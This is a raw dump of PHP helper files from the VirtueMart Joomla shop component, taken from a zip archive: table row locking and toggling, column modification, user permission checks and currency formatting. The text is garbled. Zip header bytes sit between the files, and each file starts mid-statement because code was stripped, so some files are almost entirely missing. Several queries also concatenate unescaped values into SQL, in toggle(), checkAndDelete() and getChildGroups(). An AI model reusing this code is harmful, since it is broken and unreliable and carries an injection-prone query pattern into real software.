$this->_db->escape($orders[$i]->$k) . '"'; $this->_db->setQuery($query); $this->_db->execute(); } } } return true; } /** * Checks out a row * * @access public * @param integer The id of the user * @param mixed The primary key value for the row * @return boolean True if successful, or if checkout is not supported */ function checkout($who, $oid = null) { if (!in_array('locked_by', array_keys($this->getProperties()))) { return true; } $k = $this->_tbl_key; if ($oid !== null) { $this->$k = $oid; } $config = JFactory::getConfig(); $siteOffset = $config->get('offset'); $date = JFactory::getDate('now', $siteOffset); $time = $date->toSql(); $query = 'UPDATE ' . $this->_db->quoteName($this->_tbl) . ' SET locked_by = ' . (int)$who . ', locked_on = "' . $this->_db->escape($time) . '" WHERE ' . $this->_tbl_key . ' = "' . $this->_db->escape($this->$k) . '"'; $this->_db->setQuery($query); $this->locked_by = $who; $this->locked_on = $time; return $this->_db->execute(); } /** * Checks in a row * * @access public * @param mixed The primary key value for the row * @return boolean True if successful, or if checkout is not supported */ function checkin($oid = null) { if (!( in_array('locked_by', array_keys($this->getProperties())) || in_array('locked_on', array_keys($this->getProperties())) ) ) { return true; } $k = $this->_tbl_key; if ($oid !== null) { $this->$k = $oid; } if ($this->$k == NULL) { return false; } $query = 'UPDATE ' . $this->_db->quoteName($this->_tbl) . ' SET locked_by = 0, locked_on = "' . $this->_db->escape($this->_db->getNullDate()) . '" WHERE ' . $this->_tbl_key . ' = "' . $this->_db->escape($this->$k) . '"'; $this->_db->setQuery($query); $this->locked_by = 0; $this->locked_on = ''; return $this->_db->execute(); } /** * Check if an item is checked out * * This function can be used as a static function too, when you do so you need to also provide the * a value for the $against parameter. * * @static * @access public * @param integer $with The userid to preform the match with, if an item is checked out * by this user the function will return false * @param integer $against The userid to perform the match against when the function is used as * a static function. * @return boolean */ function isCheckedOut($with = 0, $against = null) { if (isset($this) && is_a($this, 'JTable') && is_null($against)) { $against = $this->get('locked_by'); } //item is not checked out, or being checked out by the same user if (!$against || $against == $with) { return false; } $session = JTable::getInstance('session'); return $session->exists($against); } /** * toggle (0/1) a field * or invert by $val * @author impleri * @author Max Milbers * @param string $field the field to toggle * @param boolean $val field value (0/1) * @todo could make this multi-id as well... */ function toggle($field, $val = NULL) { if ($val === NULL) { $this->$field = !$this->$field; } else { $this->$field = $val; } $k = $this->_tbl_key; $q = 'UPDATE `' . $this->_tbl . '` SET `' . $field . '` = "' . $this->$field . '" WHERE `' . $k . '` = "' . $this->$k . '" '; $this->_db->setQuery($q); if (!$res = $this->_db->execute()) { vmError('There was an error toggling ' . $field, $this->_db->getErrorMsg()); } else { vmdebug('Toggled '.$q ); } return $res; } public function resetErrors() { $this->_errors = array(); } function delete($oid = null, $where = 0) { $k = $this->_tbl_key; if ($oid) { $this->$k = intval($oid); } $mainTableError = $this->checkAndDelete($this->_tbl, $where); if ($this->_translatable) { $langs = VmConfig::get('active_languages', array()); if (!$langs) $langs[] = VmConfig::$vmlang; if (!class_exists('VmTableData')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'vmtabledata.php'); foreach ($langs as $lang) { $lang = strtolower(strtr($lang, '-', '_')); $langError = $this->checkAndDelete($this->_tbl . '_' . $lang); $mainTableError = min($mainTableError, $langError); } } return $mainTableError; } // author stAn // returns true when mysql version is larger than 5.0 function isMysql51Plus() { $r = $this->getMysqlVersion(); return version_compare($r, '5.1.0', '>='); } // author: stan, added in 2.0.16+ // returns mysql version for query optimalization function getMysqlVersion() { $q = 'select version()'; if (!isset(self::$_cache[md5($q)])) { $this->_db->setQuery($q); return $this->_db->loadResult(); } else return self::$_cache[md5($q)]; } function checkAndDelete($table, $whereField = 0, $andWhere = '') { $ok = 1; $k = $this->_tbl_key; if ($whereField !== 0) { $whereKey = $whereField; } else { $whereKey = $this->_pkey; } $query = 'SELECT `' . $this->_tbl_key . '` FROM `' . $table . '` WHERE `' . $whereKey . '` = "' . $this->$k . '" '.$andWhere; $this->_db->setQuery($query); // vmdebug('checkAndDelete',$query); $list = $this->_db->loadColumn(); // vmdebug('checkAndDelete',$list); if ($list) { foreach ($list as $row) { $ok = $row; $query = 'DELETE FROM `' . $table . '` WHERE ' . $this->_tbl_key . ' = "' . $row . '"'; $this->_db->setQuery($query); if (!$this->_db->execute()) { $this->setError($this->_db->getErrorMsg()); vmError('checkAndDelete ' . $this->_db->getErrorMsg()); $ok = 0; } } } return $ok; } /** * Add, change or drop userfields * * @param string $_act Action: ADD, DROP or CHANGE (synonyms available, see the switch cases) * @param string $_col Column name * @param string $_type fieldtype * @param string $_col2 Second Column name * @return boolean True on success * @author Oscar van Eijk * * stAn - note: i disabled deleting of user data when a column (shopper field) is deleted. If a deletion of specific user or order is needed, it can be done separatedly * The column if not set with $_col2 will be renamed to ORIGINALNAME_DELETED_{timestamp()} and depending on mysql version it's definition will change */ function _modifyColumn($_act, $_col, $_type = '', $_col2 = '') { $_sql = 'ALTER TABLE `' . $this->_tbl . '` '; $_check_act = strtoupper(substr($_act, 0, 3)); //Check if a column is there //$columns = $this->_db->getTableColumns($this->_tbl); $columns = $this->showFullColumns('Field','Type',false); $res = array_key_exists($_col, $columns); if ($_check_act != 'ADD' and $_check_act != 'CRE') { if (!$res) { vmdebug('_modifyColumn Command was ' . $_check_act . ' column does not exist, changed to ADD'); $_check_act = 'ADD'; } } else { if ($res) { vmdebug('_modifyColumn Command was ' . $_check_act . ' column already exists, changed to MOD'); $_check_act = 'UPD'; } } switch ($_check_act) { case 'ADD': case 'CRE': // Create $_sql .= "ADD $_col $_type "; break; case 'DRO': // Drop case 'DEL': // Delete //stAn, i strongly do not recommend to delete customer information only because a field was deleted if (empty($_col2)){ $_col2 = $_col . '_DELETED_' . time(); vmInfo('Be aware the column of table '.$this->_tbl.' is not deleted, only renamed to '.$_col2); } if (!$this->isMysql51Plus()) { if (empty($_type)) $_type = 'TEXT CHARACTER SET utf8'; } // NOT NULL not allowed for deleted columns //$t_type = str_ireplace(' NOT ', '', $_type); $_sql .= "CHANGE $_col $_col2 $_type "; //was: $_sql .= "DROP $_col "; break; case 'MOD': // Modify case 'UPD': // Update case 'CHA': // Change if (empty($col2)) $_col2 = $_col; // change type only $_sql .= "CHANGE $_col $_col2 $_type "; break; } $this->_db->setQuery($_sql); $this->_db->execute(); if ($this->_db->getErrorNum() != 0) { vmError(get_class($this) . '::modify table - ' . $this->_db->getErrorMsg() . '
      values: action ' . $_act . ', columname: ' . $_col . ', type: ' . $_type . ', columname2: ' . $_col2); return false; } vmdebug('_modifyColumn executed successfully ' . $_sql); return true; } } PKs>\'#*com_virtuemart/helpers/reportfunctions.phpnuW+A_db = JFactory::getDBO(); } } //pure php no tagPKs>\ 4 4&com_virtuemart/helpers/permissions.phpnuW+A_db = JFactory::getDBO(); $this->_perms = $this->doAuthentication(); $user = JFactory::getUser(); } static public function getInstance() { if(!is_object(self::$_instance)){ self::$_instance = new Permissions(); }else { } return self::$_instance; } /** * Get permissions for a user ID * * @param int $virtuemart_user_id the user ID to check. If no user ID is given the currently logged in user will be used. * @return string permissions */ public function getPermissions ($userId=null) { // default to current user if ($userId == null) { $user = JFactory::getUser(); $userId = $user->id; } // only re-run authentication if we have a different user //vmdebug('getPermissions',$this->_virtuemart_user_id,$userId); if ($userId != $this->_virtuemart_user_id) { $perms = $this->doAuthentication($userId); } else { $perms = $this->_perms; } return $perms; } /** * description: Validates if someone is registered customer. * by checking if one has a billing address * parameters: virtuemart_user_id * returns: true if the user has a BT address * false if the user has none * * Check if a user is registered in the shop (=customer) * * @param int $virtuemart_user_id the user ID to check. If no user ID is given the currently logged in user will be used. * @return boolean */ public function isRegisteredCustomer($virtuemart_user_id=0) { if ($virtuemart_user_id == 0) { /* Lets see if we can get the current signed in user */ $user = JFactory::getUser(); if ($user->id == 0) return false; else $virtuemart_user_id = $user->id; } $this->_db = JFactory::getDBO(); /* If the registration type is neither "no registration" nor "optional registration", there *must* be a related Joomla! user, we can join */ if (VmConfig::get('vm_registration_type') != 'NO_REGISTRATION' && VmConfig::get('vm_registration_type') != 'OPTIONAL_REGISTRATION') { $q = "SELECT COUNT(virtuemart_user_id) AS num_rows FROM `#__virtuemart_userinfos`, `#__users` WHERE `id`=`virtuemart_user_id` AND #__virtuemart_userinfos.virtuemart_user_id='" . (int)$virtuemart_user_id . "' AND #__virtuemart_userinfos.address_type='BT'"; } else { $q = "SELECT COUNT(virtuemart_user_id) AS num_rows FROM `#__virtuemart_userinfos` WHERE #__virtuemart_userinfos.virtuemart_user_id='" . (int)$virtuemart_user_id . "' AND #__virtuemart_userinfos.address_type='BT'"; } $this->_db->setQuery($q); return $this->_db->loadResult(); } /** * This function does the basic authentication * for a user in the shop. * It assigns permissions, the name, country, zip and * the shopper group id with the user and the session. * @return array Authentication information */ function doAuthentication ($user_id=null) { $this->_db = JFactory::getDBO(); $session = JFactory::getSession(); $user = JFactory::getUser($user_id); if(!empty($user->id)){ $this->_virtuemart_user_id = $user->id; //We must prevent that Administrators or Managers are 'just' shoppers //TODO rewrite it working correctly with jooomla ACL if(JVM_VERSION === 2 ){ if($user->authorise('core.admin')){ $perm = 'admin'; } } else { if(strpos($user->usertype,'Administrator')!== false){ $perm = 'admin'; } } if(empty($perm)){ if(JVM_VERSION === 2 ){ if($user->groups){ if($user->authorise('core.admin')){ $perm = 'admin'; } else if($user->authorise('core.manage')){ $perm = 'storeadmin'; } else { $perm = 'shopper'; } } else { $perm = 'shopper'; } } else { if(strpos($user->usertype,'Administrator')!== false){ $perm = 'admin'; } else if(strpos($user->usertype,'Manager')!== false){ $perm = 'storeadmin'; } else { $perm = 'shopper'; } } } $this->_is_registered_customer = true; } else { $this->_virtuemart_user_id = 0; $perm = 'shopper'; $this->_is_registered_customer = false; } return $perm; } /** * Validates the permission to do something. * * @param string $perms * @return boolean Check successful or not * @example $perm->check( 'admin,storeadmin' ); * returns true when the user is admin or storeadmin */ public function check($perms) { $user = JFactory::getUser(); if(strpos($perms,',')!==FALSE){ $perms = explode(',',$perms); } else { $perms = array($perms); } foreach($perms as $perm){ if($perm=='admin'){ if($user->authorise('core.admin')){ return true; } } if($perm=='storeadmin'){ if($user->authorise('core.manage')){ return true; } } } return false; /* Set the authorization for use */ // Parse all permissions in argument, comma separated // It is assumed auth_user only has one group per user. /* $p1 = explode(",", $this->_perms); $p2 = explode(",", $perms); // vmdebug('check '.$perms,$p1,$p2); while (list($key1, $value1) = each($p1)) { while (list($key2, $value2) = each($p2)) { if ($value1 == $value2) { return true; } } } return false;*/ } /** * Checks if user is admin or has vendorId=1, * if superadmin, but not a vendor it gives back vendorId=1 (single vendor, but multiuser administrated) * * @author Mattheo Vicini * @author Max Milbers */ public function isSuperVendor(){ $user = JFactory::getUser(); if(!$this->_vendorId){ if(!empty( $user->id)){ $q='SELECT `virtuemart_vendor_id` FROM `#__virtuemart_vmusers` `au` WHERE `au`.`virtuemart_user_id`="' .$user->id.'" AND `au`.`user_is_vendor` = "1" '; $db= JFactory::getDbo(); $db->setQuery($q); $virtuemart_vendor_id = $db->loadResult(); if ($virtuemart_vendor_id) { $this->_vendorId = $virtuemart_vendor_id; } else { $this->_vendorId = 0; } } else { return false; } } if($this->_vendorId!=0){ return $this->_vendorId; } else { if($user->authorise('core.admin', 'com_virtuemart') or $user->authorise('core.manage', 'com_virtuemart') ){ $this->_vendorId = 1; return $this->_vendorId; } } return false; } /** * lists the permission levels in a select box * @author pablo * @param string $name The name of the select element * @param string $group_name The preselected key */ function list_perms( $name, $group_name, $size=1, $multi=false ) { $auth = $_SESSION['auth']; if( $multi ) { $multi = 'multiple="multiple"'; } // Get users current permission value $dvalue = $this->user_groups[$this->_perms]; $perms = $this->getUserGroups(); arsort( $perms ); if( $size==1 ) { $values[0] = JText::_('COM_VIRTUEMART_SELECT'); } foreach($perms as $key => $value) { // Display only those permission that this user can set if ($value >= $dvalue) { $values[$key] = $key; } } if( $size > 1 ) { $name .= '[]'; $values['none'] = JText::_('COM_VIRTUEMART_NO_RESTRICTION'); } echo VmHTML::selectList( $name, $group_name, $values, $size, $multi ); } /** * Here we insert groups that are allowed to view prices * */ function prepareACL() { // The basic ACL integration in Mambo/Joomla is not awesome $child_groups = self::getChildGroups( '#__core_acl_aro_groups', 'g1.virtuemart_shoppergroup_id, g1.name, COUNT(g2.name) AS level', 'g1.name', null, VmConfig::get('vm_price_access_level')); echo '
      '.print_r($child_groups,1).'
      '; foreach( $child_groups as $child_group ) { self::_addToGlobalACL( 'virtuemart', 'prices', 'users', $child_group->name, null, null ); } $admin_groups = self::getChildGroups( '#__core_acl_aro_groups', 'g1.virtuemart_shoppergroup_id, g1.name, COUNT(g2.name) AS level', 'g1.name', null, 'Public Backend' ); foreach( $admin_groups as $child_group ) { self::_addToGlobalACL( 'virtuemart', 'prices', 'users', $child_group->name, null, null ); } } /** * Function from an old Mambo phpgacl integration function * @deprecated (but necessary, sigh!) * @static * @param string $table * @param string $fields * @param string $groupby * @param int $root_id * @param string $root_name * @param boolean $inclusive * @return array */ function getChildGroups($table, $fields, $groupby=null, $root_id=null, $root_name=null, $inclusive=true) { $database = JFactory::getDBO(); $root = new stdClass(); $root->lft = 0; $root->rgt = 0; $fields = str_replace( 'virtuemart_shoppergroup_id', 'id', $fields ); if ($root_id) { } else if ($root_name) { $database->setQuery("SELECT `lft`, `rgt` FROM `".$table."` WHERE `name`='".$root_name."'" ); $root = $database->loadObject(); } $where = ''; if ($root->lft+$root->rgt != 0) { if ($inclusive) { $where = "WHERE g1.lft BETWEEN $root->lft AND $root->rgt"; } else { $where = "WHERE g1.lft BETWEEN $root->lft+1 AND $root->rgt-1"; } } $database->setQuery( "SELECT ".$fields . "\nFROM ".$table." AS g1" . "\nINNER JOIN ".$table." AS g2 ON g1.lft BETWEEN g2.lft AND g2.rgt" . "\n". $where . ($groupby ? "\nGROUP BY ".$groupby : "") . "\nORDER BY g1.lft" ); return $database->loadObjectList(); } /** * This is a temporary function to allow 3PD's to add basic ACL checks for their * modules and components. NOTE: this information will be compiled in the db * in future versions * @static * @param unknown_type $aco_section_value * @param unknown_type $aco_value * @param unknown_type $aro_section_value * @param unknown_type $aro_value * @param unknown_type $axo_section_value * @param unknown_type $axo_value */ function _addToGlobalACL( $aco_section_value, $aco_value, $aro_section_value, $aro_value, $axo_section_value=NULL, $axo_value=NULL ) { global $acl; $acl->acl[] = array( $aco_section_value, $aco_value, $aro_section_value, $aro_value, $axo_section_value, $axo_value ); $acl->acl_count = count( $acl->acl ); } /** * Returns a tree with the children of the root group id * @static * @param int $root_id * @param string $root_name * @param boolean $inclusive * @return unknown */ function getGroupChildrenTree( $root_id=null, $root_name=null, $inclusive=true ) { global $database, $_VERSION; $tree = ps_perm::getChildGroups( '#__core_acl_aro_groups', 'g1.virtuemart_shoppergroup_id, g1.name, COUNT(g2.name) AS level', 'g1.name', $root_id, $root_name, $inclusive ); // first pass get level limits $n = count( $tree ); $min = $tree[0]->level; $max = $tree[0]->level; for ($i=0; $i < $n; $i++) { $min = min( $min, $tree[$i]->level ); $max = max( $max, $tree[$i]->level ); } $indents = array(); foreach (range( $min, $max ) as $i) { $indents[$i] = '      '; } // correction for first indent $indents[$min] = ''; $list = array(); for ($i=$n-1; $i >= 0; $i--) { $shim = ''; foreach (range( $min, $tree[$i]->level ) as $j) { $shim .= $indents[$j]; } if (@$indents[$tree[$i]->level+1] == '. ') { $twist = ' '; } else { $twist = "- "; } if( $_VERSION->PRODUCT == 'Joomla!' && $_VERSION->RELEASE >= 1.5 ) { $tree[$i]->virtuemart_shoppergroup_id = $tree[$i]->id; } $list[$tree[$i]->virtuemart_shoppergroup_id] = $shim.$twist.$tree[$i]->name; if ($tree[$i]->level < @$tree[$i-1]->level) { $indents[$tree[$i]->level+1] = '. '; } } ksort($list); return $list; } } //pure php no closing tagPKs>\ &HLL*com_virtuemart/helpers/currencydisplay.phpnuW+A_app = JFactory::getApplication(); if(empty($vendorId)) $vendorId = 1; $this->_db = JFactory::getDBO(); $q = 'SELECT `vendor_currency`,`currency_code_3`,`currency_numeric_code` FROM `#__virtuemart_vendors` AS v LEFT JOIN `#__virtuemart_currencies` AS c ON virtuemart_currency_id = vendor_currency WHERE v.`virtuemart_vendor_id`="'.(int)$vendorId.'"'; $this->_db->setQuery($q); $row = $this->_db->loadRow(); $this->_vendorCurrency = $row[0]; $this->_vendorCurrency_code_3 = $row[1]; $this->_vendorCurrency_numeric = (int)$row[2]; //vmdebug('$row ',$row); $converterFile = VmConfig::get('currency_converter_module','convertECB.php'); if (file_exists( JPATH_VM_ADMINISTRATOR.DS.'plugins'.DS.'currency_converter'.DS.$converterFile ) and !is_dir(JPATH_VM_ADMINISTRATOR.DS.'plugins'.DS.'currency_converter'.DS.$converterFile)) { $module_filename=substr($converterFile, 0, -4); require_once(JPATH_VM_ADMINISTRATOR.DS.'plugins'.DS.'currency_converter'.DS.$converterFile); if( class_exists( $module_filename )) { $this->_currencyConverter = new $module_filename(); } } else { if(!class_exists('convertECB')) require(JPATH_VM_ADMINISTRATOR.DS.'plugins'.DS.'currency_converter'.DS.'convertECB.php'); $this->_currencyConverter = new convertECB(); } } /** * * Gives back the format of the currency, gets $style if none is set, with the currency Id, when nothing is found it tries the vendorId. * When no param is set, you get the format of the mainvendor * * @author Max Milbers * @param int $currencyId Id of the currency * @param int $vendorId Id of the vendor * @param string $style The vendor_currency_display_code * FORMAT: 1: id, 2: CurrencySymbol, 3: NumberOfDecimalsAfterDecimalSymbol, 4: DecimalSymbol, 5: Thousands separator 6: Currency symbol position with Positive values : 7: Currency symbol position with Negative values : EXAMPLE: ||€|2|,||1|8 * @return string */ static public function getInstance($currencyId=0,$vendorId=0){ // if(empty(self::$_instance) || empty(self::$_instance->_currency_id) || ($currencyId!=self::$_instance->_currency_id && !empty($currencyId)) ){ if(empty(self::$_instance) || (!empty($currencyId) and $currencyId!=self::$_instance->_currency_id) ){ self::$_instance = new CurrencyDisplay($vendorId); if(empty($currencyId)){ if(self::$_instance->_app->isSite()){ self::$_instance->_currency_id = self::$_instance->_app->getUserStateFromRequest( "virtuemart_currency_id", 'virtuemart_currency_id',JRequest::getInt('virtuemart_currency_id', 0)); } if(empty(self::$_instance->_currency_id)){ self::$_instance->_currency_id = self::$_instance->_vendorCurrency; } } else { self::$_instance->_currency_id = $currencyId; } $q = 'SELECT * FROM `#__virtuemart_currencies` WHERE `virtuemart_currency_id`="'.(int)self::$_instance->_currency_id.'"'; self::$_instance->_db->setQuery($q); $style = self::$_instance->_db->loadObject(); if(!empty($style)){ self::$_instance->setCurrencyDisplayToStyleStr($style); } else { $uri = JFactory::getURI(); VmConfig::loadJLang('com_virtuemart'); if(empty(self::$_instance->_currency_id)){ $link = $uri->root().'administrator/index.php?option=com_virtuemart&view=user&task=editshop'; JError::raiseWarning('1', JText::sprintf('COM_VIRTUEMART_CONF_WARN_NO_CURRENCY_DEFINED',''.$link.'')); } else{ if(JRequest::getWord('view')!='currency'){ $link = $uri->root().'administrator/index.php?option=com_virtuemart&view=currency&task=edit&cid[]='.self::$_instance->_currency_id; JError::raiseWarning('1', JText::sprintf('COM_VIRTUEMART_CONF_WARN_NO_FORMAT_DEFINED',''.$link.'')); } } // self::$_instance->setCurrencyDisplayToStyleStr($currencyId); //would be nice to automatically unpublish the product/currency or so } } self::$_instance->setPriceArray(); return self::$_instance; } /** * Parse the given currency display string into the currency diplsy values. * * This function takes the currency style string as saved in the vendor * record and parses it into its appropriate values. An example style * string would be 1|€|2|,|.|0|0 * * @author Max Milbers * @param String $currencyStyle String containing the currency display settings */ private function setCurrencyDisplayToStyleStr($style) { //vmdebug('setCurrencyDisplayToStyleStr ',$style); $this->_currency_id = $style->virtuemart_currency_id; $this->_symbol = $style->currency_symbol; $this->_nbDecimal = $style->currency_decimal_place; $this->_decimal = $style->currency_decimal_symbol; $this->_numeric_code = (int)$style->currency_numeric_code; $this->_thousands = $style->currency_thousands; $this->_positivePos = $style->currency_positive_style; $this->_negativePos = $style->currency_negative_style; } /** * This function sets an array, which holds the information if * a price is to be shown and the number of rounding digits * * @author Max Milbers */ function setPriceArray(){ if(count($this->_priceConfig)>0)return true; if(!class_exists('JParameter')) require(JPATH_VM_LIBRARIES.DS.'joomla'.DS.'html'.DS.'parameter.php' ); $user = JFactory::getUser(); $result = false; if(!empty($user->id)){ $q = 'SELECT `vx`.`virtuemart_shoppergroup_id` FROM `#__virtuemart_vmusers` as `u` LEFT OUTER JOIN `#__virtuemart_vmuser_shoppergroups` AS `vx` ON `u`.`virtuemart_user_id` = `vx`.`virtuemart_user_id` LEFT OUTER JOIN `#__virtuemart_shoppergroups` AS `sg` ON `vx`.`virtuemart_shoppergroup_id` = `sg`.`virtuemart_shoppergroup_id` WHERE `u`.`virtuemart_user_id` = "'.$user->id.'" '; $this->_db->setQuery($q); $result = $this->_db->loadResult(); } if(!$result){ $q = 'SELECT `price_display`,`custom_price_display` FROM `#__virtuemart_shoppergroups` AS `sg` WHERE `sg`.`default` = "'.($user->guest+1).'" '; $this->_db->setQuery($q); $result = $this->_db->loadRow(); } else { $q = 'SELECT `price_display`,`custom_price_display` FROM `#__virtuemart_shoppergroups` AS `sg` WHERE `sg`.`virtuemart_shoppergroup_id` = "'.$result.'" '; $this->_db->setQuery($q); $result = $this->_db->loadRow(); } if(!empty($result[0])){ $result[0] = unserialize($result[0]); } $custom_price_display = 0; if(!empty($result[1])){ $custom_price_display = $result[1]; } if($custom_price_display && !empty($result[0])){ $show_prices = $result[0]->get('show_prices',VmConfig::get('show_prices', 1)); // vmdebug('$result[0]',$result[0],$show_prices); } else { $show_prices = VmConfig::get('show_prices', 1); } $priceFields = array('basePrice','variantModification','basePriceVariant', 'basePriceWithTax','discountedPriceWithoutTax', 'salesPrice','priceWithoutTax', 'salesPriceWithDiscount','discountAmount','taxAmount','unitPrice'); if($show_prices==1){ foreach($priceFields as $name){ $show = 0; $round = 0; $text = 0; //Here we check special settings of the shoppergroup // $result = unserialize($result); if($custom_price_display==1){ $show = (int)$result[0]->get($name); $round = (int)$result[0]->get($name.'Rounding'); $text = $result[0]->get($name.'Text'); // vmdebug('$custom_price_display'); } else { $show = VmConfig::get($name,0); $round = VmConfig::get($name.'Rounding',2); $text = VmConfig::get($name.'Text',0); // vmdebug('$config_price_display'); } //Map to currency if($round==-1){ $round = $this->_nbDecimal; //vmdebug('Use currency rounding '.$round); } $this->_priceConfig[$name] = array($show,$round,$text); } } else { foreach($priceFields as $name){ $this->_priceConfig[$name] = array(0,0,0); } } // vmdebug('$this->_priceConfig',$this->_priceConfig); } /** * getCurrencyForDisplay: get The actual displayed Currency * Use this only in a view, plugin or modul, never in a model * * @param integer $currencyId * return integer $currencyId: displayed Currency * */ public function getCurrencyForDisplay( $currencyId=0 ){ if(empty($currencyId)){ $currencyId = (int)$this->_app->getUserStateFromRequest( 'virtuemart_currency_id', 'virtuemart_currency_id',$this->_vendorCurrency ); if(empty($currencyId)){ $currencyId = $this->_vendorCurrency; } } return $currencyId; } /** * This function is for the gui only! * Use this only in a view, plugin or modul, never in a model * TODO for vm2.2 remove quantity option * @param float $price * @param integer $currencyId * return string formatted price */ public function priceDisplay($price, $currencyId=0,$quantity = 1.0,$inToShopCurrency = false,$nb= -1){ $price = $this->roundForDisplay($price,$currencyId, $quantity ,$inToShopCurrency, $nb); return $this->getFormattedCurrency($price,$nb); } public function roundForDisplay($price, $currencyId=0,$quantity = 1.0,$inToShopCurrency = false,$nb= -1){ $currencyId = $this->getCurrencyForDisplay($currencyId); if($nb==-1){ $nb = $this->_nbDecimal; } $price = (float)$price * (float)$quantity; $price = $this->convertCurrencyTo($currencyId,$price,$inToShopCurrency); if($this->_numeric_code===756 and VmConfig::get('rappenrundung',FALSE)=="1"){ $price = round((float)$price * 2,1) * 0.5; } else { $price = round($price,$nb); } return $price; } /** * Format, Round and Display Value * @author Max Milbers * @param val number */ public function getFormattedCurrency( $nb, $nbDecimal=-1){ //TODO $this->_nbDecimal is the config of the currency and $nbDecimal is the config of the price type. if($nbDecimal==-1) $nbDecimal = $this->_nbDecimal; if($nb>=0){ $format = $this->_positivePos; $sign = '+'; } else { $format = $this->_negativePos; $sign = '-'; $nb = abs($nb); } //$res = $this->formatNumber($nb, $nbDecimal, $this->_thousands, $this->_decimal); $res = number_format((float)$nb,(int)$nbDecimal,$this->_decimal,$this->_thousands); $search = array('{sign}', '{number}', '{symbol}'); $replace = array($sign, $res, $this->_symbol); $formattedRounded = str_replace ($search,$replace,$format); return $formattedRounded; } /** * function to create a div to show the prices, is necessary for JS * * @author Max Milbers * @author Patrick Kohl * @param string name of the price * @param String description key * @param array the prices of the product * return a div for prices which is visible according to config and have all ids and class set */ public function createPriceDiv($name,$description,$product_price,$priceOnly=false,$switchSequel=false,$quantity = 1.0,$forceNoLabel=false){ // vmdebug('createPriceDiv '.$name,$product_price[$name]); if(empty($product_price) and $name != 'billTotal' and $name != 'billTaxAmount') return ''; //The fallback, when this price is not configured if(empty($this->_priceConfig[$name])){ $this->_priceConfig[$name] = $this->_priceConfig['salesPrice']; } //This is a fallback because we removed the "salesPriceWithDiscount" ; if(is_array($product_price)){ $price = $product_price[$name] ; } else { $price = $product_price; } //This could be easily extended by product specific settings if(!empty($this->_priceConfig[$name][0])){ if(!empty($price) or $name == 'billTotal' or $name == 'billTaxAmount'){ $vis = "block"; $priceFormatted = $this->priceDisplay($price,0,(float)$quantity,false,$this->_priceConfig[$name][1],$name ); } else { $priceFormatted = ''; $vis = "none"; } if($priceOnly){ return $priceFormatted; } if($forceNoLabel) { return '
      '.$priceFormatted.'
      '; } $descr = ''; if($this->_priceConfig[$name][2]) $descr = JText::_($description); // vmdebug('createPriceDiv $name '.$name.' '.$product_price[$name]); if(!$switchSequel){ return '
      '.$descr.''.$priceFormatted.'
      '; } else { return '
      '.$priceFormatted.''.$descr.'
      '; } } } /** * * @author Max Milbers * @param unknown_type $currency * @param unknown_type $price * @param unknown_type $shop */ function convertCurrencyTo($currency,$price,$shop=true){ if(empty($currency)){ // vmdebug('empty $currency ',$price); return $price; } // If both currency codes match, do nothing if( (is_Object($currency) and $currency->_currency_id == $this->_vendorCurrency) or (!is_Object($currency) and $currency == $this->_vendorCurrency)) { // vmdebug(' $currency == $this->_vendorCurrency ',$price); return $price; } if(is_Object($currency)){ $exchangeRate = (float)$currency->exchangeRateShopper; vmdebug('convertCurrencyTo OBJECT '.$exchangeRate); } else { static $currency_exchange_rate = array(); if(!isset($currency_exchange_rate[$currency])){ $q = 'SELECT `currency_exchange_rate` FROM `#__virtuemart_currencies` WHERE `virtuemart_currency_id` ="'.(int)$currency.'" '; $this->_db->setQuery($q); $currency_exchange_rate[$currency] = (float)$this->_db->loadResult(); } if(!empty($currency_exchange_rate[$currency])){ $exchangeRate = $currency_exchange_rate[$currency]; } else { $exchangeRate = 0; } } if(!empty($exchangeRate) ){ if($shop){ $price = $price / $exchangeRate; } else { $price = $price * $exchangeRate; } } else { $currencyCode = self::ensureUsingCurrencyCode($currency); $vendorCurrencyCode = self::ensureUsingCurrencyCode($this->_vendorCurrency); $globalCurrencyConverter=JRequest::getVar('globalCurrencyConverter'); if($shop){ $price = $this ->_currencyConverter->convert( $price, $currencyCode, $vendorCurrencyCode); //vmdebug('convertCurrencyTo Use dynamic rate in shop '.$oldprice .' => '.$price); } else { //vmdebug('convertCurrencyTo Use dynamic rate to shopper currency '.$price); $price = $this ->_currencyConverter->convert( $price , $vendorCurrencyCode, $currencyCode); } // vmdebug('convertCurrencyTo my currency ',$this->exchangeRateShopper); } return $price; } /** * Changes the virtuemart_currency_id into the right currency_code * For exampel 47 => EUR * * @author Max Milbers * @author Frederic Bidon */ function ensureUsingCurrencyCode($curr){ if(is_numeric($curr) and $curr!=0){ if (!class_exists('ShopFunctions')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'shopfunctions.php'); return ShopFunctions::getCurrencyByID($curr,'currency_code_3'); } return $curr; } /** * Changes the currency_code into the right virtuemart_currency_id * For exampel 'currency_code_3' : EUR => 47 * * @author Max Milbers * @author Kohl Patrick */ function getCurrencyIdByField($value=0,$fieldName ='currency_code_3'){ if(is_string($value) ){ if (!class_exists('ShopFunctions')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'shopfunctions.php'); return ShopFunctions::getCurrencyIDByName($value,$fieldName); } return $value; } /** * * @author Horvath, Sandor [HU] http://de.php.net/manual/de/function.number-format.php * @author Max Milbers * @param double $number * @param int $decimals * @param string $thousand_separator * @param string $decimal_point */ function formatNumber($number, $decimals = 2, $decimal_point = '.', $thousand_separator = ' ' ){ // $tmp1 = round((float) $number, $decimals); return number_format($number,$decimals,$decimal_point,$thousand_separator); // while (($tmp2 = preg_replace('/(\d+)(\d\d\d)/', '\1 \2', $tmp1)) != $tmp1){ // $tmp1 = $tmp2; // } // // return strtr($tmp1, array(' ' => $thousand_separator, '.' => $decimal_point)); } /** * Return the currency symbol */ public function getSymbol() { return($this->_symbol); } /** * Return the currency ID */ public function getId() { return($this->_currency_id); } /** * Return the number of decimal places * * @author RickG * @return int Number of decimal places */ public function getNbrDecimals() { return($this->_nbDecimal); } /** * Return the decimal symbol * * @author RickG * @return string Decimal place symbol */ public function getDecimalSymbol() { return($this->_decimal); } /** * Return the decimal symbol * * @author RickG * @return string Decimal place symbol */ public function getThousandsSeperator() { return($this->_thousands); } /** * Return the positive format * * @author RickG * @return string Positive number format */ public function getPositiveFormat() { return($this->_positivePos); } /** * Return the negative format * * @author RickG * @return string Negative number format */ public function getNegativeFormat() { return($this->_negativePos); } } // pure php no closing tag PKs>\{DD#com_virtuemart/helpers/vmfilter.phpnuW+A1, 'elements'=>'a, b, strong, i, em, li, ol, ul')); See htmLawed_README.txt/htm only good for HTML filtering needed in MultiVendor editing Product/category ... 